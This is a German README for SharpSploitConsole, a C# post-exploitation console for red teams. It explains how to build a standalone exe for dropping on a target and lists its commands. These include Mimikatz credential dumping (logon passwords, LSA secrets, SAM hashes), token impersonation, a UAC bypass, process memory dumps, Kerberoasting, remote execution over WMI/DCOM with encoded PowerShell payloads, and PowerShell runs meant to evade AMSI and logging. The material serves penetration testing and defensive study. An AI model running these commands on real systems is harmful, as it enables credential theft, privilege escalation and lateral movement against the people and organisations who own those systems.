
C#-Konsolenanwendung für Post-Exploitation und Red-Team-Operationen, die SharpSploit integriert, um Mimikatz-Befehle auszuführen, Kerberoasting durchzuführen, UAC zu umgehen, Anmeldeinformationen zu extrahieren und sich lateral über WMI/DCOM zu bewegen.
Konsolenanwendung zur Interaktion mit SharpSploit, veröffentlicht von @cobbr_io > https://github.com/cobbr/SharpSploit
SharpSploit ist ein von @cobbr_io geschriebenes Tool, das viele Techniken/C#-Code aus der Infosec-Community kombiniert und in eine süße DLL packt. Es ist großartig, also schau es dir an!
SharpSploit Console ist nur ein schnelles Proof-of-Concept-Binärprogramm, das Penetrationstestern oder Red Teams mit weniger C#-Erfahrung helfen soll, mit etwas von der Großartigkeit von SharpSploit zu spielen. Wenn Sie die folgenden Anweisungen befolgen, sollten Sie sowohl die SharpSploit.dll als auch die System.Management.Automation.dll in die SharpSploitConsole-Binärdatei einbetten können, wodurch eine eigenständige exe-Datei entsteht, die Sie auf einem geeigneten Zielsystem ablegen und über eine nicht interaktive Shell (z. B. Beacon) ausführen können.
Dieses Konzept kann auf viele C#-Binärdateien angewendet werden. Beispielsweise könnten wir die System.Management.Automation.dll in unser bevorzugtes C# NoPowershell.exe einbetten und so eine Binärdatei erstellen, die nicht auf die System.Management.Automation.dll auf dem Zielsystem angewiesen ist.
Abschließend ist mir bewusst, dass es wahrscheinlich tausende Möglichkeiten gibt, dies besser, schneller, cooler, unauffälliger usw. zu machen. Also lass es mich bitte wissen ... auf eine nette Art. :) Ich plane auch, weitere Module hinzuzufügen und andere zu verbessern.
Kontakt unter:
Bevor Sie Issues einreichen: Dieses Tool wird möglicherweise nicht immer aktiv aktualisiert. Ich ermutige Sie, sich zu bedienen, hinzuzufügen, zu modifizieren und/oder eigene zu erstellen. Denken Sie daran, dass der ganze tolle Code da draußen (und es gibt viel davon) genommen/modifiziert werden kann, um Ihre eigenen benutzerdefinierten Tools zu erstellen.
Hinweis: Ich habe Windows 10, Visual Studio 2017 verwendet – die Ergebnisse können variieren
Laden Sie das SharpSploit-Tool von https://github.com/cobbr/SharpSploit.git herunter
Öffnen Sie SharpSploit.sln in Visual Studio und kompilieren Sie (stellen Sie sicher, dass Sie für die richtige Architektur kompilieren) – Sie sollten ein Dropdown-Menü mit „Any CPU“ sehen > Klicken Sie darauf und öffnen Sie den Konfigurationsmanager > Ändern Sie unter Plattform die gewünschte Architektur und wählen Sie OK.
Laden Sie das SharpSploitConsole-Tool herunter und öffnen Sie SharpSploitConsole.sln
Kopieren Sie sowohl SharpSploit.dll als auch System.Management.Automation.dll aus dem Verzeichnis SharpSploit/bin/x64/Debug in den Ordner SharpSploitConsole/bin/x64/Debug
Als nächstes richten wir Visual Studio so ein, dass unsere DLLs in unsere exe eingebettet werden, sodass wir nur eine einzige Binärdatei haben, die wir auf unserem Zielcomputer ausführen können. Dazu gehen wir wie folgt vor:
In Visual Studio:
a. Extras > NuGet-Paket-Manager > Paket-Manager-Konsole
b. Führen Sie in der Konsole aus:
Install-Package Costura.Fody
c. Öffnen Sie Notepad, fügen Sie den folgenden Code ein und speichern Sie ihn unter dem Namen FodyWeavers.xml im SharpSploitConsole-Verzeichnis, das Ihre bin-, obj- und properties-Ordner enthält.
<?xml version="1.0" encoding="utf-8"?>
<Weavers>
<Costura />
</Weavers>
6. Klicken Sie in Visual Studio mit der rechten Maustaste auf „Verweise“ auf der rechten Seite, wählen Sie „Verweis hinzufügen“, navigieren Sie dann zum SharpSploitConsole/bin/x64/Debug-Verzeichnis, in das wir unsere beiden DLLs gelegt haben, wählen Sie sie aus und fügen Sie sie hinzu.
Hinweis: Alle Befehle sind Groß-/Kleinschreibung nicht beachtend
Standardmäßig können alle Befehle als Befehlszeilenargumente übergeben werden, sie werden ausgeführt und das Programm wird beendet (ideal für Remote-Shells). Das sieht etwa so aus: sharpSploitConsole.exe getSystem logonPasswords. Wenn Sie alternativ den interaktiven Konsolenmodus verwenden möchten, können Sie den Befehl interact verwenden, um eine pseudo-interaktive Shell zu erhalten.
Interaktiven Konsolenmodus starten:
Interact
Mimikatz für alles (führt DCSync nicht aus) – erfordert Admin oder System:
Mimi-All
Führt einen bestimmten Mimikatz-Befehl Ihrer Wahl aus – erfordert Admin oder System:
Mimi-Command privilege::debug sekurlsa::logonPasswords
Führt den Mimikatz-Befehl privilege::debug sekurlsa::logonPasswords aus – erfordert Admin oder System:
logonPasswords
Führt den Mimikatz-Befehl zum Abrufen von Domain Cached Credentials-Hashes aus der Registry aus – erfordert Admin oder System:
LsaCache
Führt den Mimikatz-Befehl zum Abrufen von LSA-Secrets aus der Registry aus – erfordert Admin oder System:
LsaSecrets
Ruft Passwort-Hashes aus der SAM-Datenbank ab – erfordert Admin oder System:
SamDump
Ruft Wdigest-Anmeldeinformationen aus der Registry ab – erfordert Admin oder System:
Wdigest
Ruft den aktuellen Benutzer ab:
whoami
Username
Impersoniert den Systembenutzer – erfordert Administratorrechte:
GetSystem
Impersoniert den Systembenutzer – Impersoniert das Token eines bestimmten Prozesses, erfordert PID – Befehl erfordert Administratorrechte:
Impersonate 2918
UAC umgehen – erfordert Binärdatei | Befehl | Pfad zur Binärdatei – erfordert Administratorrechte:
BypassUAC cmd.exe ipconfig C:\Windows\System32\
BypassUAC cmd.exe "" C:\Windows\System32\
Beendet die Impersonation eines Tokens, kehrt zum ursprünglichen Token des aktuellen Prozesses zurück:
RevertToSelf
Ruft das aktuelle Arbeitsverzeichnis ab:
CurrentDirectory
Ruft die aktuelle Verzeichnisliste ab:
DirectoryListing
Ändert das aktuelle Verzeichnis, indem eine angegebene Zeichenfolge an das aktuelle Arbeitsverzeichnis angehängt wird:
ChangeDirectory SomeFolder
Ruft den Hostnamen ab:
Hostname
Ruft eine Liste der laufenden Prozesse ab:
ProcessList
Erstellt ein Minidump des Speichers eines laufenden Prozesses, erfordert PID | Ausgabeort | Ausgabenamen – erfordert Admin:
ProcDump 2198 C:\Users\Username\Desktop memorydump.dmp
Ruft den Wert eines Registry-Pfads ab, erfordert vollständigen Pfad als Argument:
ReadRegistry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\COM3\BuildNumber
Schreibt in die Registry, erfordert vollständigen Pfad und Wert als Argumente:
WriteRegistry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\COM3\RemoteAccessEnabled 1
Ruft Benutzer einer lokalen Gruppe remote ab, erfordert Computername | Gruppenname | Benutzername | Passwort:
NetLocalGroupMembers computerName Administrators domain\username P@55w0rd!
NetLocalGroupMembers 192.168.1.20 Administrators .\username P@55w0rd!
Ruft lokale Gruppen remote ab, erfordert Computername | Benutzername | Passwort:
NetLocalGroups computerName domain\username P@55w0rd!
NetLocalGroups 192.168.1.20 .\username P@55w0rd!
Ruft aktuell angemeldete Benutzer remote ab, erfordert Computername | Benutzername | Passwort:
NetLoggedOnUsers computerName domain\username P@55w0rd!
NetLoggedOnUsers 192.168.1.20 .\username P@55w0rd!
Ruft Benutzersitzungen remote ab, erfordert Computername | Benutzername | Passwort:
NetSessions computerName domain\username P@55w0rd!
NetSessions 192.168.1.20 .\username P@55w0rd!
Ping an Systeme, erfordert Computernamen:
Ping computer1 computer2 computer3 computer4
Portscan an Systemen, erfordert Computername | Ports:
PortScan computer1 80 443 445 22 23
Ruft Domänenbenutzer ab, fragt bestimmte (oder alle) Benutzerobjekte in der Zieldomäne ab, standardmäßig wird der aktuelle Benutzerkontext verwendet. optionale Argumente: -username -password -domain -server -searchbase -searchstring -target:
GetDomainUsers
Ruft Domänengruppen ab, fragt bestimmte (oder alle) Gruppenobjekte in der Zieldomäne ab, standardmäßig wird der aktuelle Benutzerkontext verwendet. optionale Argumente: -username -password -domain -server -searchbase -searchstring -target:
GetDomainGroups
GetDomainGroups -target "Domain Admins"
Ruft Domänencomputer ab, fragt bestimmte (oder alle) Computerobjekte in der Zieldomäne ab, standardmäßig wird der aktuelle Benutzerkontext verwendet. optionale Argumente: -username -password -domain -server -searchbase -searchstring -target:
GetDomainComputers
Führt einen Kerberoasting-Angriff gegen gezielte (oder alle) Benutzerobjekte in der Zieldomäne durch, standardmäßig wird der aktuelle Benutzerkontext verwendet. optionale Argumente: -username -password -domain -server -searchbase -searchstring -target:
Kerberoast
Kerberoast -username bob -password Password1 -domain test.corp -server 192.168.1.10 -target sqlService
Befehl remote über WMI ausführen, erfordert Computername | Benutzername | Passwort | Befehl – erfordert Admin:
WMI computer1 domain\username P@55w0rd! <gesamtes Powershell Empire Payload>
WMI computer1 .\username P@55w0rd! powershell -noP -sta -w 1 -enc <Base64>
Befehl remote über DCOM ausführen, erfordert Computername | Befehl | Verzeichnis | Parameter – erfordert Admin:
DCOM computer1 cmd.exe c:\Windows\System32 powershell -noP -sta -w 1 -enc <Base64>
Shell-Befehl ausführen:
Shell ipconfig /all
PowerShell-Befehl ausführen und dabei versuchen, AMSI, ScriptBlock-Protokollierung und Modulprotokollierung zu umgehen:
Powershell -noP -sta -w 1 -enc <Base64>